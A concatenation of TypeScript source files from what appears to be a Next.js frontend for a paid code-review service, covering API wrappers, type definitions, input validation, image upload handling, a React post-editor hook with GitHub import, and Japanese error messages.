export type ResponseBookmarkTypes = {
Item?: BookmarkTypes
status: boolean
status_code: number
status_message: string
}
<file_sep>import { apis } from '@/consts/api/';
import { SuccessTypes } from '@/types/api/success';
import { ReviewContentsTypes, UserProfileTypes } from '@/types/global/';
import { axios } from '@/utils/axios';
import { AxiosResponse } from 'axios';
type ParamsType = {
reviewId: string;
reviewerId: string;
postId: string;
profile: UserProfileTypes;
price: number;
};
type CustomResponseTypes = SuccessTypes & {
contents: ReviewContentsTypes;
};
export const postRegisterPayment = async (
params: ParamsType
): Promise<AxiosResponse<CustomResponseTypes>> => {
return await axios.post(apis.REGISTER_PAYMENT, params);
};
<file_sep>export class UserProfile {
static validMaxLength(valueLength: number, MAX_LENGTH: number): boolean {
return valueLength <= MAX_LENGTH;
}
static validOnlySingleByteAndUnderScore(value: string): boolean {
const reg = new RegExp(/^[a-z0-9_]+$/);
return reg.test(value);
}
static validSingleByte(value: string) {
const reg = new RegExp(/^[a-z0-9!-/:-@¥[-`{-~]*$/);
return reg.test(value);
}
static validFirstAndLastChara(value: string): boolean {
const reg = new RegExp(/_/);
const firstChara = value.slice(0, 1);
const lastChara = value.slice(-1);
// 文字列の最初と最後どちらかに(_)を含んでいたらfalseを返す
return !reg.test(firstChara) && !reg.test(lastChara);
}
static validAllowNumber(value: number, ALLOW_LIST: number[]): boolean {
return ALLOW_LIST.includes(value);
}
static validOnlytSingleByteNumber(value: string): boolean {
const reg = new RegExp(/^[0-9]+$/);
return reg.test(value);
}
}
<file_sep>export type UserProfileTypes = {
display_name: string
github_name: string
icon_src: string
introduction: string
position_type: number
price: number
skils: []
twitter_name: string
web_site: string
}
<file_sep>import { apis } from '@/consts/api/'
import { SalesTypes } from '@/types/api/get-sales'
import { axios } from '@/utils/axios'
import { AxiosResponse } from 'axios'
export const getSales = async (): Promise<AxiosResponse<SalesTypes>> => {
return await axios.get(apis.SALES)
}
<file_sep>import { GithubReposTypes } from '@/types/global/index';
export type ResponseGithubReposTypes = {
repos: GithubReposTypes[];
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import { GetContentTypes } from '@/types/global';
export type ResponseContentTypes = {
post: GetContentTypes;
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import { ReviewTypes } from '@/types/global'
export type ResponseReviewTypes = {
Item: ReviewTypes
status: boolean
status_code: number
status_message: string
}
<file_sep>import { apis } from "@/consts/api/";
import { axios } from "@/utils/axios";
export const getPreSignedUrl = async (newFileName: string) => {
const params = {
newFileName: newFileName,
};
return await axios.get(apis.PRESIGNED_URL, { params });
};
<file_sep>import { errorMessages } from '@/consts/error-messages';
import imageCompression from 'browser-image-compression';
import { v4 as uuidv4 } from 'uuid';
export class PrepareImageBeforePost {
constructor(private fileObject: File) {}
private getFileSize(): number {
return this.fileObject.size;
}
private getFileExtention(): string {
return this.fileObject.name.split('.').pop()!;
}
public async compressionImage(): Promise<File | null> {
const options = {
maxSizeMB: 1,
maxWidthOrHeight: 1000,
useWebWorker: true,
};
try {
return await imageCompression(this.fileObject, options);
} catch {
console.error(errorMessages.IMAGE_COMPRESSION_ERROR);
return null;
}
}
public validImageSize(): boolean {
const MAX_FILE_SIZE = 10000000; // 10MB
const fileSize = this.getFileSize();
return fileSize <= MAX_FILE_SIZE;
}
public validImageExtention(): boolean {
const ALLOW_FILE_EXTENTION_LIST = [
'jpeg',
'JPEG',
'jpg',
'JPG',
'png',
'PNG',
'gif',
'GIF',
];
const fileExtention = this.getFileExtention();
return ALLOW_FILE_EXTENTION_LIST.includes(fileExtention);
}
public createNewFileName(): string {
const uuid = uuidv4();
const fileExtention = this.getFileExtention();
return `${uuid}.${fileExtention}`;
}
}
<file_sep>src/pages/web_site/index.tsx
src/pages/twitter_name/index.tsx
```javascript
async getPayments() {
// 自分のレビューデータを取得
let totalSales = 0;
const resultSales = [];
const metadata = await this.getMetadata(this.userId);
if (metadata.Items.length <= 1) return { resultSales, totalSales };
const reviews = this.filtering(metadata.Items, "review");
if (reviews.length <= 0) return { resultSales, totalSales };
this.sortItems(reviews);
// レビューに紐づく課金データを取得
for (const reviewItem of reviews) {
const payments = await this.getPaymentsByReview(reviewItem);
if (payments.length <= 0) continue;
const mapper = new Mapper();
const contents = reviewItem.contents;
for (const paymentItem of payments) {
const userId = paymentItem.partition_key.split("#").pop();
const metadata = await this.getMetadata(userId);
const mapperdPaymentItem = mapper.paymentsMapper(paymentItem);
mapperdPaymentItem.reviewed_contents = contents;
mapperdPaymentItem.purchaser_profile = metadata.Items[0].user_profile;
resultSales.push(mapperdPaymentItem);
}
}
if (resultSales.length <= 0) {
return { resultSales, totalSales };
}
totalSales = this.totalSales(resultSales);
return { resultSales, totalSales };
}
```
<file_sep>import * as CONSTS from '@/consts/const';
import { errorMessages, validMessages } from '@/consts/error-messages';
import { ProgrammingIcon } from '@/types/global';
import { GithubReposTypes } from '@/types/global/index';
import { getGithubBranches } from '@/utils/api/get-github-branches';
import { getGithubAccessToken } from '@/utils/api/get-github-oauth';
import { getGithubRepos } from '@/utils/api/get-github-repos';
import { postContent } from '@/utils/api/post-content';
import { initDescription } from '@/utils/init-values';
import { PrepareContentBeforePost } from '@/utils/prepare-content-before-post';
import { Validation } from '@/utils/validation';
import marked from 'marked';
import { useRouter } from 'next/router';
import { useCallback, useEffect, useState } from 'react';
import { v4 as uuidv4 } from 'uuid';
import { getGithubSourceTree } from '../utils/api/get-github-source-tree';
type FileNameType = {
key: string;
fileName: string;
sourceCode: string;
bodyHtml: string;
isValid: boolean;
isAuto: boolean;
};
type ButtonText = Readonly<
'投稿設定' | '編集設定' | '下書き保存' | '保存中...' | '保存済み ✔︎'
>;
type ValidObject = {
isValid: boolean;
message: string;
};
const createValidObject = (defaultValue: boolean, defaultMessage: string) => {
return {
isValid: defaultValue,
message: defaultMessage,
};
};
export const usePost = () => {
const router = useRouter();
const [title, setTitle] = useState('');
const [postId, setPostId] = useState('');
const [isSuccessed, setIsSuccessed] = useState(false);
const [description, setDescription] = useState(initDescription);
const [sourceCode, setSourceCode] = useState('```\n\n```');
// const [tagList, setTagList] = useState<string[]>([]);
const [inputFileNameLists, setInputFileNameLists] = useState<FileNameType[]>([
{
key: uuidv4(),
fileName: '',
sourceCode: '```\n\n```',
bodyHtml: '',
isValid: true,
isAuto: false,
},
]);
const [targetLanguageValue, setTargetLanguageValue] = useState(0);
const [budget, setBudget] = useState(0);
const [programmingIcon, setProgrammingIcon] = useState<ProgrammingIcon>({
id: 0,
value: '',
iconPath: '',
ogpPath: '',
});
const [activeStep, setActiveStep] = useState(0);
const [currentIndex, setCurrentIndex] = useState(0);
const [isPosted, setIsPosted] = useState(false);
const [isOpenDialog, setIsOpenDialog] = useState(false);
const [isOpenTreeDialog, setIsOpenTreeDialog] = useState(false);
const [isOpenGithubDialog, setIsOpenGithubDialog] = useState(false);
const [buttonText, setButtonText] = useState<ButtonText>('下書き保存');
const [canPublish, setCanPublish] = useState<ValidObject>(
createValidObject(true, '')
);
const [isValidTitleObject, setIsValidTitleObject] = useState<ValidObject>(
createValidObject(false, validMessages.REQUIRED_TITLE)
);
// const [isValidTagsObject, setIsValidTagsObject] = useState<ValidObject>(
// createValidObject(false, validMessages.REQUIRED_TAGS)
// );
const [
isValidDescriptionObject,
setIsValidDescriptionObject,
] = useState<ValidObject>(
createValidObject(false, validMessages.REQUIRED_DESCRIPTION)
);
const [
isValidFileNameObject,
setIsValidFileNameObject,
] = useState<ValidObject>(
createValidObject(false, validMessages.REQUIRED_FILE_NAME)
);
const [
isValidSourceCodeObject,
setIsValidSourceCodeObject,
] = useState<ValidObject>(
createValidObject(false, validMessages.REQUIRED_SOURCE_CODE)
);
const [isValidBudget, setIsValidBudget] = useState<ValidObject>(
createValidObject(true, '')
);
const [hasGithubAccessToken, setHasGithubAccessToken] = useState(false);
const [isLoading, setIsLoading] = useState(true);
const [isFetchGithubData, setIsFetchGithubData] = useState(true);
const [repos, setRepos] = useState<GithubReposTypes[] | []>([]);
const [uuid] = useState(uuidv4());
useEffect(() => {
(async () => {
try {
const result = await getGithubAccessToken();
const accessToken = result.data.access_token;
const hasAccessToken = accessToken !== undefined && accessToken !== '';
setHasGithubAccessToken(hasAccessToken);
setIsLoading(false);
} catch {
alert(errorMessages.SYSTEM_ERROR);
}
})();
}, []);
const execPreviousPageIfneeded = (isValidExistData: boolean) => {
if (isValidExistData && !isPosted) {
if (confirm('データが入力されています。保存せずに終了しますか?')) {
history.back();
}
} else if (isValidExistData && isPosted) {
history.back();
} else if (!isValidExistData) {
history.back();
}
};
const previousPage = useCallback(() => {
// データが存在していて下書き保存されていなければ表示させる
const isValidExistData = validExistData();
execPreviousPageIfneeded(isValidExistData);
}, [title, description, inputFileNameLists, isPosted]);
// }, [title, tagList, description, inputFileNameLists, isPosted]);
const closeSnackBar = () => {
setCanPublish({
...canPublish,
isValid: true,
});
};
const closeDialog = () => {
setIsOpenDialog(false);
};
const createParams = (key: string) => {
return {
uuid: uuid,
postType: key,
contents: {
title: title,
tagList: [],
// tagList: tagList,
description: {
value: description,
bodyHtml: marked(description),
},
inputFileNameLists: inputFileNameLists,
targetLanguage: targetLanguageValue,
targetIcon: programmingIcon,
budget: budget,
},
};
};
const initCanPublish = () => {
setCanPublish({
...canPublish,
isValid: true,
});
};
const validExistData = useCallback(() => {
const isExistTitle = isValidTitleObject.isValid;
// const isExistTagList = isValidTagsObject.isValid;
const isExistDescription = isValidDescriptionObject.isValid;
const isExistFileName = isValidFileNameObject.isValid;
const isExistSoureCode = isValidSourceCodeObject.isValid;
return (
isExistTitle ||
// isExistTagList ||
isExistDescription ||
isExistFileName ||
isExistSoureCode
);
}, [
isValidTitleObject,
// isValidTagsObject,
isValidDescriptionObject,
isValidFileNameObject,
isValidSourceCodeObject,
]);
const validFalseIncluded = useCallback(() => {
const validList = inputFileNameLists.map(el => el.isValid);
return validList.includes(false);
}, [inputFileNameLists]);
const updateButtonText = useCallback((value: ButtonText) => {
setButtonText(value);
}, []);
const updateCanPublish = useCallback((isValid: boolean, message = '') => {
setCanPublish({
...canPublish,
isValid: isValid,
message: message,
});
}, []);
const updateIsValidSourceCode = useCallback(
(isValid: boolean): void => {
inputFileNameLists[currentIndex].isValid = isValid;
},
[sourceCode, inputFileNameLists]
);
const validAllFileNameLength = useCallback(() => {
let isValid = false;
for (const item of inputFileNameLists) {
const fileName = item.fileName;
isValid = Validation.validLength(fileName, CONSTS.MAX_FILE_NAME_LENGTH);
if (!isValid) break;
}
return isValid;
}, [inputFileNameLists]);
const prepareValidRegister = () => {
if (!isValidTitleObject.isValid) {
updateCanPublish(false, isValidTitleObject.message);
return;
}
// if (!isValidTagsObject.isValid) {
// updateCanPublish(false, isValidTagsObject.message);
// return;
// }
if (!isValidDescriptionObject.isValid) {
updateCanPublish(false, isValidDescriptionObject.message);
return;
}
if (!validAllFileNameLength()) {
updateCanPublish(false, validMessages.OVER_LENGTH_FILE_NAME);
return;
}
if (!isValidSourceCodeObject.isValid) {
updateCanPublish(false, isValidSourceCodeObject.message);
return;
}
initCanPublish();
setIsOpenDialog(true);
};
const registerContent = async () => {
if (!isValidBudget.isValid) {
updateCanPublish(false, '正しい予算を設定してください');
return;
}
if (programmingIcon.value === '') {
updateCanPublish(false, 'アイコンを選択してください');
return;
}
const err = new Error();
const params = createParams('published');
try {
const result = await postContent(params);
if (result.status !== 200) throw err;
setIsPosted(true);
setIsSuccessed(true);
setPostId(result.data.postId);
} catch {
alert(errorMessages.SYSTEM_ERROR);
}
};
const draftContent = useCallback(async () => {
if (!isValidTitleObject.isValid) {
updateCanPublish(false, isValidTitleObject.message);
return;
}
if (!(description.length <= CONSTS.MAX_DESCRIPTION_LENGTH)) {
updateCanPublish(false, validMessages.OVER_LENGTH_DESCRIPION);
return;
}
if (!(sourceCode.length <= CONSTS.MAX_SOURCE_CODE_LENGTH)) {
updateCanPublish(false, validMessages.OVER_LENGTH_SOURCE_CODE);
return;
}
const isValidFalseIncluded = validFalseIncluded();
if (isValidFalseIncluded) return;
const err = new Error();
const params = createParams('draft');
updateButtonText('保存中...');
try {
const result = await postContent(params);
if (result.status !== 200) throw err;
setIsPosted(true);
updateButtonText('保存済み ✔︎');
} catch {
alert(errorMessages.SYSTEM_ERROR);
}
}, [title, description, inputFileNameLists]);
const changeTitle = useCallback(
(e: React.ChangeEvent<HTMLInputElement>): void => {
const value = e.target.value;
const prepareContentBeforePost = new PrepareContentBeforePost(
value,
setIsValidTitleObject,
isValidTitleObject
);
const isValidMaxLength = prepareContentBeforePost.validLength(
CONSTS.MAX_TITLE_LENGTH,
validMessages.OVER_LENGTH_TITLE
);
if (!isValidMaxLength) return;
const isExist = prepareContentBeforePost.validEmpty(
validMessages.REQUIRED_TITLE
);
if (isValidMaxLength && isExist) {
prepareContentBeforePost.successed();
}
setTitle(value);
},
[title]
);
// const changeTagList = useCallback(
// (values: string[]): void => {
// if (values.length > CONSTS.MAX_TAGS_LENGTH) return;
// const prepareContentBeforePost = new PrepareContentBeforePost(
// values,
// setIsValidTagsObject,
// isValidTagsObject
// );
// const isNotValidZeroLength = prepareContentBeforePost.validZeroLength(
// validMessages.REQUIRED_TAGS
// );
// if (isNotValidZeroLength) {
// prepareContentBeforePost.successed();
// }
// setTagList(values);
// },
// [tagList]
// );
const changeDescritption = useCallback(
(value: string): void => {
const prepareContentBeforePost = new PrepareContentBeforePost(
value,
setIsValidDescriptionObject,
isValidDescriptionObject
);
const isValidMaxLength = prepareContentBeforePost.validLength(
CONSTS.MAX_DESCRIPTION_LENGTH,
validMessages.OVER_LENGTH_DESCRIPION
);
const isExist = prepareContentBeforePost.validEmpty(
validMessages.REQUIRED_DESCRIPTION
);
if (isValidMaxLength && isExist) {
prepareContentBeforePost.successed();
}
setDescription(value);
},
[description]
);
const changeFileName = useCallback(
(value: string, index: number) => {
updateInputFileNameLists('fileName', value, index);
const isValidMaxLength = Validation.validLength(
value,
CONSTS.MAX_FILE_NAME_LENGTH
);
if (!isValidMaxLength) {
setIsValidFileNameObject(
createValidObject(false, validMessages.OVER_LENGTH_FILE_NAME)
);
return;
}
const isExists = Validation.validEmpty(value);
if (!isExists) {
setIsValidFileNameObject(
createValidObject(false, validMessages.REQUIRED_FILE_NAME)
);
return;
}
setIsValidFileNameObject(createValidObject(true, ''));
setCurrentIndex(index);
},
[sourceCode, inputFileNameLists]
);
const changeSourceCode = useCallback(
(value: string): void => {
const isValidMaxLength = Validation.validLength(
value,
CONSTS.MAX_SOURCE_CODE_LENGTH
);
if (!isValidMaxLength) {
setIsValidSourceCodeObject(
createValidObject(false, validMessages.OVER_LENGTH_SOURCE_CODE)
);
return;
}
const isExists = Validation.validEmpty(value);
if (!isExists) {
setIsValidSourceCodeObject(
createValidObject(false, validMessages.REQUIRED_SOURCE_CODE)
);
return;
}
setIsValidSourceCodeObject(createValidObject(true, ''));
setSourceCode(value);
updateIsValidSourceCode(isValidMaxLength);
updateSourceCodeAndBodyHtml(value, currentIndex);
},
[sourceCode, inputFileNameLists]
);
const changeActiveStep = useCallback(
(value: number): void => {
setActiveStep(value);
},
[activeStep]
);
const isValidInputState = useCallback(
(newInputFileNameLists: FileNameType[]) => {
const inputStateList = newInputFileNameLists.map(
el => el.fileName === ''
);
return inputStateList.length > 0;
},
[sourceCode, inputFileNameLists]
);
const addListsItem = (): void => {
setInputFileNameLists([
...inputFileNameLists,
{
key: uuidv4(),
fileName: '',
sourceCode: '```\n\n```',
bodyHtml: '',
isValid: true,
isAuto: false,
},
]);
setIsValidFileNameObject(
createValidObject(false, validMessages.REQUIRED_FILE_NAME)
);
};
const deleteListsItem = useCallback(
(key: string, index: number): void => {
const currentLength = inputFileNameLists.length;
// 最新のインプットタグを消すかどうかの処理
const shourdSetIndex = index === currentLength - 1 ? index - 1 : index;
const newLists = inputFileNameLists.filter(el => el.key !== key);
const currentItem = newLists[shourdSetIndex];
const sourceCode = currentItem.sourceCode;
const newInputFileNameLists = newLists.slice();
// 現在のインプットタグの入力状況を検証する
const isExistsNotInputItem = isValidInputState(newInputFileNameLists);
setCurrentIndex(shourdSetIndex);
setSourceCode(sourceCode);
setInputFileNameLists(newInputFileNameLists);
setIsValidFileNameObject(
createValidObject(
isExistsNotInputItem,
isExistsNotInputItem ? validMessages.REQUIRED_FILE_NAME : ''
)
);
},
[sourceCode, inputFileNameLists]
);
const updateSourceCodeAndBodyHtml = (value: any, index: number) => {
const currentItem = inputFileNameLists[index];
const newFileItem = {
...currentItem,
sourceCode: value,
bodyHtml: marked(value),
};
const newInputFileNameLists = inputFileNameLists.slice();
newInputFileNameLists[index] = newFileItem;
setInputFileNameLists(newInputFileNameLists);
};
const updateInputFileNameLists = (key: string, value: any, index: number) => {
const currentItem = inputFileNameLists[index];
const newFileItem = { ...currentItem, [key]: value, isAuto: false };
const newInputFileNameLists = inputFileNameLists.slice();
newInputFileNameLists[index] = newFileItem;
setInputFileNameLists(newInputFileNameLists);
};
const onFocusGetIndex = useCallback(
(index: number) => {
const currentItem = inputFileNameLists[index];
const sourceCode = currentItem.sourceCode;
setCurrentIndex(index);
setSourceCode(sourceCode);
},
[sourceCode, inputFileNameLists]
);
const onBlurGetLang = useCallback(
(index: number) => {
const BACK_QUOTE_LENGTH = 3;
const currentItem = inputFileNameLists[index];
const splitedFileName = currentItem.fileName.split('/');
const sourceCode = currentItem.sourceCode;
const lastItem = splitedFileName.pop()!;
const targetIndex = lastItem.lastIndexOf('.');
if (targetIndex === -1) {
setCurrentIndex(index);
setSourceCode(sourceCode);
} else {
// 言語が既に入力されていたらファイルネームの言語にリプレイスする
let newSourceCode;
const newLang = lastItem.substring(targetIndex + 1);
const firstCharaLength = sourceCode.search('\n');
// 既に入力されている言語を取得
const oldLang = sourceCode.slice(BACK_QUOTE_LENGTH, firstCharaLength);
if (oldLang === '') {
// もし、バッククォートのみの場合はファイルネームの言語を差し込む
const backQuote = sourceCode.slice(0, BACK_QUOTE_LENGTH);
const restChara = sourceCode.slice(BACK_QUOTE_LENGTH);
newSourceCode = `${backQuote}${newLang}${restChara}`;
} else {
newSourceCode = sourceCode.replace(oldLang, newLang);
}
setCurrentIndex(index);
setSourceCode(newSourceCode);
}
},
[sourceCode, inputFileNameLists]
);
const handleTabChange = useCallback(
(_: React.ChangeEvent<{}>, index: number) => {
setCurrentIndex(index);
onFocusGetIndex(index);
},
[sourceCode, inputFileNameLists]
);
const selectTargetLanguage = (event: React.ChangeEvent<HTMLInputElement>) => {
const value = Number(event.target.value);
setTargetLanguageValue(value);
};
const changeBudget = (event: React.ChangeEvent<HTMLInputElement>) => {
const isValidNumber = Validation.validNumber(event.target.value);
if (!isValidNumber) {
return;
}
const value = Number(event.target.value);
const isValid = Validation.validPrice(value);
if (!isValid) {
setIsValidBudget(
createValidObject(false, validMessages.ZERO_UNDER_OVER_MAX_PRICE)
);
} else {
setIsValidBudget(createValidObject(true, ''));
}
setBudget(value);
};
const selectProgrammingIcon = (
_: React.ChangeEvent<{}>,
selectObject: string | ProgrammingIcon | null
) => {
if (selectObject === null) return;
if (typeof selectObject === 'string') return;
setProgrammingIcon({
...programmingIcon,
id: selectObject.id,
value: selectObject.value,
iconPath: selectObject.iconPath,
ogpPath: selectObject.ogpPath,
});
};
const moveSettingActivity = () => {
router.push('/settings/activity');
};
const getRepos = async () => {
if (!hasGithubAccessToken) {
alert('設定ページへ移動します。');
moveSettingActivity();
return;
}
setIsOpenGithubDialog(true);
if (!isFetchGithubData) return;
try {
const result = await getGithubRepos();
setRepos(result.data.repos);
setIsFetchGithubData(false);
} catch (error) {
console.error(error);
alert(errorMessages.SYSTEM_ERROR);
}
};
const getBranches = async (repository: string) => {
try {
const result = await getGithubBranches({ repository });
const newRepos = repos.slice();
for (const repo of newRepos) {
if (repo.fullName === repository) {
repo.branches = result.data.branches;
break;
}
}
setRepos(newRepos);
setIsFetchGithubData(false);
} catch (error) {
console.error(error);
alert(errorMessages.SYSTEM_ERROR);
}
};
const getSourceTreeByBranch = async (repository: string, branch: string) => {
return await getGithubSourceTree({ repository, branch });
};
const embedDiffInputFileNameLists = (choosedFullPathList: string[]) => {
const resultList = [];
for (const item of inputFileNameLists) {
const fileName = item.fileName;
const isIncludes = choosedFullPathList.includes(fileName);
const isExistsFileName = fileName !== '';
// リポジトリダイアログ内で選択されているファイルと、inputタグに入力があるファイルしか残さない
if (isIncludes || (isExistsFileName && !item.isAuto)) {
resultList.push(item);
// 手動で入力されたデータをvalidation checkする
validationForFileName(item.fileName);
validationForSourceCode(item.sourceCode);
}
}
return resultList;
};
const validationForFileName = (fileName: string) => {
const isValidMaxLength = Validation.validLength(
fileName,
CONSTS.MAX_FILE_NAME_LENGTH
);
if (!isValidMaxLength) {
setIsValidFileNameObject(
createValidObject(false, validMessages.OVER_LENGTH_FILE_NAME)
);
return;
}
const isExists = Validation.validEmpty(fileName);
if (!isExists) {
setIsValidFileNameObject(
createValidObject(false, validMessages.REQUIRED_FILE_NAME)
);
return;
}
};
const validationForSourceCode = (sourceCode: string) => {
const isValidMaxLength = Validation.validLength(
sourceCode,
CONSTS.MAX_SOURCE_CODE_LENGTH
);
if (!isValidMaxLength) {
setIsValidSourceCodeObject(
createValidObject(false, validMessages.OVER_LENGTH_SOURCE_CODE)
);
return;
}
const isExists = Validation.validEmpty(sourceCode);
if (!isExists) {
setIsValidSourceCodeObject(
createValidObject(false, validMessages.REQUIRED_SOURCE_CODE)
);
return;
}
};
const execuDecodeContent = (
selectFullPath: string,
encodeContents: { [key: string]: string }
) => {
const lang = selectFullPath.split('.').pop();
const encodeContent = encodeContents[selectFullPath];
const decodeContent = window.atob(encodeContent);
const bedginMd = `\`\`\`${lang}\n`;
const endMd = '\n```';
return `${bedginMd}${decodeContent}${endMd}`;
};
const initValidFileNameAndSourceCode = () => {
setIsValidFileNameObject(createValidObject(true, ''));
setIsValidSourceCodeObject(createValidObject(true, ''));
};
const insertToInputFileNameLists = (
choosedFullPathList: string[],
encodeContents: { [key: string]: string }
) => {
// 一度validationの状態をリセットする
initValidFileNameAndSourceCode();
// リポジトリダイアログ内で削除したファイルは消しつつ、手動で入力したものは残す処理
const newInputFileNameLists = embedDiffInputFileNameLists(
choosedFullPathList
);
for (const selectFullPath of choosedFullPathList) {
const existsItem = newInputFileNameLists.filter(
el => el.fileName === selectFullPath
);
if (existsItem.length > 0) continue;
const mdContent = execuDecodeContent(selectFullPath, encodeContents);
if (isValidFileNameObject.isValid) {
validationForFileName(selectFullPath);
}
if (isValidSourceCodeObject.isValid) {
validationForSourceCode(mdContent);
}
newInputFileNameLists.push({
key: uuidv4(),
fileName: selectFullPath,
sourceCode: mdContent,
bodyHtml: marked(mdContent),
isValid: true,
isAuto: true,
});
}
onFocusGetIndex(0);
setInputFileNameLists(newInputFileNameLists);
setSourceCode(newInputFileNameLists[0].sourceCode);
setIsOpenGithubDialog(false);
};
const closeGithubDialog = () => {
setIsOpenGithubDialog(false);
};
return {
title,
postId,
isSuccessed,
description,
sourceCode,
inputFileNameLists,
targetLanguageValue,
budget,
programmingIcon,
activeStep,
currentIndex,
isOpenDialog,
isOpenTreeDialog,
setIsOpenTreeDialog,
isOpenGithubDialog,
buttonText,
canPublish,
isValidBudget,
hasGithubAccessToken,
isLoading,
isFetchGithubData,
repos,
previousPage,
closeSnackBar,
closeDialog,
prepareValidRegister,
registerContent,
draftContent,
changeTitle,
changeDescritption,
changeFileName,
changeSourceCode,
changeActiveStep,
addListsItem,
deleteListsItem,
onBlurGetLang,
onFocusGetIndex,
handleTabChange,
selectTargetLanguage,
changeBudget,
selectProgrammingIcon,
updateButtonText,
updateCanPublish,
getRepos,
getBranches,
getSourceTreeByBranch,
insertToInputFileNameLists,
closeGithubDialog,
};
};
<file_sep>import { ErrorTypes } from "@/types/global";
export const createErrorObject = (
message: string,
code: number
): ErrorTypes => {
return {
data: {
status: false,
status_message: message,
status_code: code,
},
};
};
<file_sep>import * as CONSTS from '@/consts/const';
export type ErrorMessages =
| ' SYSTEM_ERROR'
| ' EXISTED_NAME'
| ' IMAGE_COMPRESSION_ERROR';
export type ValidMessages =
| 'REQUIRED_TITLE'
| 'REQUIRED_TAGS'
| 'REQUIRED_DESCRIPTION'
| 'REQUIRED_FILE_NAME'
| 'REQUIRED_SOURCE_CODE'
| 'ONLY_SINGLEBYTE_AND_UNDERSCORE'
| 'NOT_UNDERSCORE_FOR_FIRST_LAST_CHARA'
| 'OVER_LENGTH_TITLE'
| 'OVER_LENGTH_DESCRIPION'
| 'OVER_LENGTH_FILE_NAME'
| 'OVER_LENGTH_SOURCE_CODE';
export const errorMessages = {
SYSTEM_ERROR:
'システムエラーが発生しました。しばらく時間をおいてやり直してください。',
PAYMENT_ERROR:
'購入処理に失敗しました。しばらく時間をおいてやり直してください。',
BOOKMARK_ERROR:
'ブックマークの登録又は解除に失敗しました。しばらく時間をおいてやり直してください。',
REVIEW_ERROR:
'レビューの投稿に失敗しました。しばらく時間をおいてやり直してください。',
COMMENT_ERROR:
'コメントの投稿に失敗しました。しばらく時間をおいてやり直してください。',
EXISTED_NAME: '既に使用されている名前です。',
IMAGE_COMPRESSION_ERROR: '画像の圧縮に失敗しました',
INVAILD_VALUE: '不正な値です',
INVAILD_ACTION: '不正な操作です',
};
export const validMessages = {
REQUIRED_TITLE: 'タイトルを入力してください',
REQUIRED_TAGS: 'タグを一つ以上入力してください',
REQUIRED_DESCRIPTION: 'デスクリプションを入力してください',
REQUIRED_COMMENT: 'コメントを入力してください',
REQUIRED_FILE_NAME: 'ファイル名を入力してください',
REQUIRED_SOURCE_CODE: 'ソースコードを入力してください',
ONLY_SINGLEBYTE_AND_UNDERSCORE:
'半角英数字とアンダースコア(_)のみ使用できます',
ONLY_SINGLEBYTE: '半角英数字のみ使用できます',
ONLY_SINGLEBYTE_NUMBER: '半角数字で入力してください',
NOT_UNDERSCORE_FOR_FIRST_LAST_CHARA:
'最初と最後にアンダースコア(_)を使うことはできません',
NOT_ACCEPT_FILE_EXTENTION: 'JPEG、PNG、GIF画像のみをアップロードできます',
NOT_SELECTED_PAYMENTAREA: '有料範囲を選択してください',
OVER_FILE_SIZE: '10MB以下の画像を選択してください',
OVER_LENGTH_TITLE: `タイトルは${CONSTS.MAX_TITLE_LENGTH}文字以下で入力してください`,
OVER_LENGTH_DESCRIPION: `デスクリプションは${CONSTS.MAX_DESCRIPTION_LENGTH}文字以下で入力してください`,
OVER_LENGTH_COMMENT: `コメントは${CONSTS.MAX_COMMENT_LENGTH}文字以下で入力してください`,
OVER_LENGTH_FILE_NAME: `ファイル名は${CONSTS.MAX_FILE_NAME_LENGTH}文字以下で入力してください`,
OVER_LENGTH_SOURCE_CODE: `ソースコードは${CONSTS.MAX_SOURCE_CODE_LENGTH}文字以下で入力してください`,
OVER_LENGTH_PRICE: `${CONSTS.MAX_PRICE_LENGTH}桁以下の数値を入力してください`,
ZERO_UNDER_OVER_MAX_PRICE: '¥0~¥100,000以内の金額を入力してください',
};
<file_sep>export type UserContentsTypes = {
posts: any;
reviews: any;
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import { apis } from "@/consts/api/";
import { ErrorTypes } from "@/types/api/error";
import { ResponseUserTypes } from "@/types/api/get-user";
import { axios } from "@/utils/axios";
import { AxiosResponse } from "axios";
export const getUser = async (): Promise<
AxiosResponse<ResponseUserTypes> | AxiosResponse<ErrorTypes>
> => {
return await axios.get(apis.USER);
};
<file_sep>export type ResponseReactionTypes = {
resultAction: "delete" | "put";
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import axios from "axios";
export const uploadImageToS3 = async (presignedUrl: string, file: File) => {
await axios.put(presignedUrl, file);
};
<file_sep>import { apis } from '@/consts/api/';
import { ResponseWithdrawalType } from '@/types/api/get-withdrawal';
import { axios } from '@/utils/axios';
import { AxiosResponse } from 'axios';
export const getWithdrawal = async (): Promise<
AxiosResponse<ResponseWithdrawalType>
> => {
return await axios.get(apis.WITHDRAWAL);
};
<file_sep>import { Amplify } from 'aws-amplify';
Amplify.configure({
Auth: {
region: process.env.NEXT_PUBLIC_COGNITO_REJION,
userPoolId: process.env.NEXT_PUBLIC_COGNITO_USER_POOL_ID,
userPoolWebClientId: process.env.NEXT_PUBLIC_COGNITO_CLIENT_ID,
IdentityPoolId: process.env.NEXT_PUBLIC_IDENTITY_POOL_ID,
oauth: {
domain: `kanon-code${process.env.NEXT_PUBLIC_SUFFIX}.auth.${process.env.NEXT_PUBLIC_COGNITO_REJION}.amazoncognito.com`,
scope: ['openid', 'email', 'profile'],
redirectSignIn: process.env.NEXT_PUBLIC_REDIRECT_SIGN_IN,
redirectSignOut: process.env.NEXT_PUBLIC_REDIRECT_SIGN_OUT,
responseType: 'code',
},
},
});
<file_sep>import { apis } from '@/consts/api/';
import { ResponseGithubEncodeContentTypes } from '@/types/api/get-github-encode-content';
import { axios } from '@/utils/axios';
import { AxiosResponse } from 'axios';
type ParamsTypes = {
repository: string;
sha: string;
};
export const getGithubEncodeContent = async (
params: ParamsTypes
): Promise<AxiosResponse<ResponseGithubEncodeContentTypes>> => {
return await axios.get(apis.GITHUB_ENCODE_CONTENT, { params });
};
<file_sep>import { GithubSourceTreeTypes } from '@/types/global';
export type ResponseGithubSourceTreeTypes = {
tree: GithubSourceTreeTypes;
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import { CommentContentsTypes, UserProfileTypes } from '@/types/global/index';
export type ResponseCommentTypes = {
data: {
user_profile: UserProfileTypes;
contents: CommentContentsTypes;
date: string;
};
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>const withSass = require('@zeit/next-sass');
const withCss = require('@zeit/next-css');
module.exports = withCss(
withSass({
// async rewrites() {
// return [
// {
// source: "/api/:slug*",
